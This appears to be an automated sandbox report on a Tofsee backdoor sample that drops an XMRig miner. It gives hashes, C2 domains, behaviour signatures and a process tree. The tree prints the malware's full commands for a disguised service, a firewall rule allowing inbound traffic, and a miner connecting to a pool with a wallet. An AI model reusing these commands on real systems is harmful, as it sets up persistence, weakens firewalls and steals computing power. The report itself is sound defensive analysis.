Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2023, 03:29

General

  • Target

    file.exe

  • Size

    221KB

  • MD5

    9af2dd9d72775a4bdfdda7877b47eef9

  • SHA1

    45da7ba126a46bc8922646a32e65e27486dabb73

  • SHA256

    d0f9030dbeed2cf285881eaa72226b8fb572ca7b70238cf79a0aa587d122cb39

  • SHA512

    4a49b1c06783b07616b74cc2434b72857c23fe4cc4f8d576915042f96e8daffb3c3837b9516fc878380b06f32f0c42c017d7b7eb7849548c4872ba56b665eb10

  • SSDEEP

    3072:8SL44qfLRy61pwVeeM/VHiJYPH6rGefwbGoFEbEmg5mgcp2Ts:t49fLY612VexHiJ2H6qefwb2Jngcp2T

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bhmfbxgy\
      2⤵
        PID:3016
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dgzkktuu.exe" C:\Windows\SysWOW64\bhmfbxgy\
        2⤵
          PID:2364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bhmfbxgy binPath= "C:\Windows\SysWOW64\bhmfbxgy\dgzkktuu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bhmfbxgy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bhmfbxgy
          2⤵
          • Launches sc.exe
          PID:2800
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2696
      • C:\Windows\SysWOW64\bhmfbxgy\dgzkktuu.exe
        C:\Windows\SysWOW64\bhmfbxgy\dgzkktuu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2648
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2636
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1476

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dgzkktuu.exe

        Filesize

        11.4MB

        MD5

        1290260904062eb91b4d38eeea01218d

        SHA1

        c91a2eb7f972592a8fd8be949f5610a341b77dcd

        SHA256

        e0342a2c0f9d1aff2e8aa2e032bf4a92c690a64c0f5f7d8e255850ea6c60a742

        SHA512

        b1bd1475dcb6aefe24aa4caff775ec2f80ad5528b7edee66dca037d4a941cc604a1ba6a5e1cf46b1945fd7546eaaa89f4ef41b52f739e1c0a3bab79ded78e5ae

      • C:\Windows\SysWOW64\bhmfbxgy\dgzkktuu.exe

        Filesize

        11.4MB

        MD5

        1290260904062eb91b4d38eeea01218d

        SHA1

        c91a2eb7f972592a8fd8be949f5610a341b77dcd

        SHA256

        e0342a2c0f9d1aff2e8aa2e032bf4a92c690a64c0f5f7d8e255850ea6c60a742

        SHA512

        b1bd1475dcb6aefe24aa4caff775ec2f80ad5528b7edee66dca037d4a941cc604a1ba6a5e1cf46b1945fd7546eaaa89f4ef41b52f739e1c0a3bab79ded78e5ae

      • memory/1476-75-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1476-72-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1476-60-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1476-62-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1476-70-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1476-71-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1476-73-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/1476-74-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

      • memory/2076-0-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2076-8-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2076-2-0x0000000000400000-0x00000000004E9000-memory.dmp

        Filesize

        932KB

      • memory/2076-7-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/2076-6-0x0000000000400000-0x00000000004E9000-memory.dmp

        Filesize

        932KB

      • memory/2076-1-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/2636-35-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-44-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-25-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/2636-28-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-31-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-32-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-33-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-34-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-21-0x0000000001A00000-0x0000000001C0F000-memory.dmp

        Filesize

        2.1MB

      • memory/2636-36-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-37-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-38-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-39-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-40-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-41-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-42-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-43-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-24-0x0000000001A00000-0x0000000001C0F000-memory.dmp

        Filesize

        2.1MB

      • memory/2636-45-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-46-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-47-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2636-48-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/2636-51-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/2636-52-0x0000000005500000-0x000000000590B000-memory.dmp

        Filesize

        4.0MB

      • memory/2636-55-0x0000000005500000-0x000000000590B000-memory.dmp

        Filesize

        4.0MB

      • memory/2636-56-0x00000000002B0000-0x00000000002B7000-memory.dmp

        Filesize

        28KB

      • memory/2636-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2636-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2636-17-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2636-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2636-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2636-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2648-15-0x0000000000400000-0x00000000004E9000-memory.dmp

        Filesize

        932KB

      • memory/2648-9-0x0000000000400000-0x00000000004E9000-memory.dmp

        Filesize

        932KB